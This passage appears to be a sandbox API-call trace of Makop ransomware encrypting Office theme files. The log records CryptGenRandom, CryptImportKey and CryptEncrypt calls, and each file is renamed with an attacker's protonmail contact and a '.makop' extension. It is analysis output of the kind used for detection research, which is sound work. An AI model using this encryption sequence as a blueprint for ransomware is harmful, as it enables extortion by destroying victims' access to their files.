lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.535] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.535] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.535] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbfed, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbfed, lpOverlapped=0x0) returned 1 [0100.537] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbff0, dwBufLen=0xbff0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbff0) returned 1 [0100.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.538] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbff0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbff0, lpOverlapped=0x0) returned 1 [0100.538] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xc0b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.538] SetEndOfFile (hFile=0x138) returned 1 [0100.579] GetProcessHeap () returned 0x48a0000 [0100.580] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.580] GetProcessHeap () returned 0x48a0000 [0100.580] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.580] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.585] CloseHandle (hObject=0x138) returned 1 [0100.585] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0100.585] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF") returned 73 [0100.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.589] GetProcessHeap () returned 0x48a0000 [0100.589] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.589] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.589] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.589] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0100.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.593] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.593] GetProcessHeap () returned 0x48a0000 [0100.593] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.593] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.593] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.593] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.594] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.595] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.595] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.595] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.595] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.596] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.596] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.596] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x242, lpOverlapped=0x0) returned 1 [0100.596] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x250) returned 1 [0100.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.596] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x250, lpOverlapped=0x0) returned 1 [0100.596] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.596] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.597] SetEndOfFile (hFile=0x138) returned 1 [0100.603] GetProcessHeap () returned 0x48a0000 [0100.603] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.603] GetProcessHeap () returned 0x48a0000 [0100.603] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.603] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.604] CloseHandle (hObject=0x138) returned 1 [0100.605] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.605] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0100.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.605] GetProcessHeap () returned 0x48a0000 [0100.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.605] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.606] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.606] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.610] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.610] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.610] GetProcessHeap () returned 0x48a0000 [0100.610] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.610] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.610] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.610] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.610] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.610] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.611] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.611] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.611] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.611] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.611] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.611] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.611] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47cc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x47cc, lpOverlapped=0x0) returned 1 [0100.613] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x47d0, dwBufLen=0x47d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x47d0) returned 1 [0100.613] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.613] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x47d0, lpOverlapped=0x0) returned 1 [0100.614] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.614] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x48a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.614] SetEndOfFile (hFile=0x138) returned 1 [0100.624] GetProcessHeap () returned 0x48a0000 [0100.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.624] GetProcessHeap () returned 0x48a0000 [0100.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.624] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0100.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.625] CloseHandle (hObject=0x138) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.625] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0100.626] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG") returned 64 [0100.626] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*") returned 68 [0100.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.626] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.626] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.626] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0100.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.627] GetProcessHeap () returned 0x48a0000 [0100.627] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.627] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.627] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.627] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0100.631] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.631] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.632] GetProcessHeap () returned 0x48a0000 [0100.632] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.632] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.632] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.632] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.632] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.632] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.633] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.633] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.633] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.633] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.633] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.633] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.634] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x137f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x137f, lpOverlapped=0x0) returned 1 [0100.635] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1380, dwBufLen=0x1380 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1380) returned 1 [0100.635] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.635] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1380, lpOverlapped=0x0) returned 1 [0100.636] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.636] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.636] SetEndOfFile (hFile=0x138) returned 1 [0100.642] GetProcessHeap () returned 0x48a0000 [0100.642] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.642] GetProcessHeap () returned 0x48a0000 [0100.643] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.643] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0100.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.644] CloseHandle (hObject=0x138) returned 1 [0100.644] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0100.644] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common 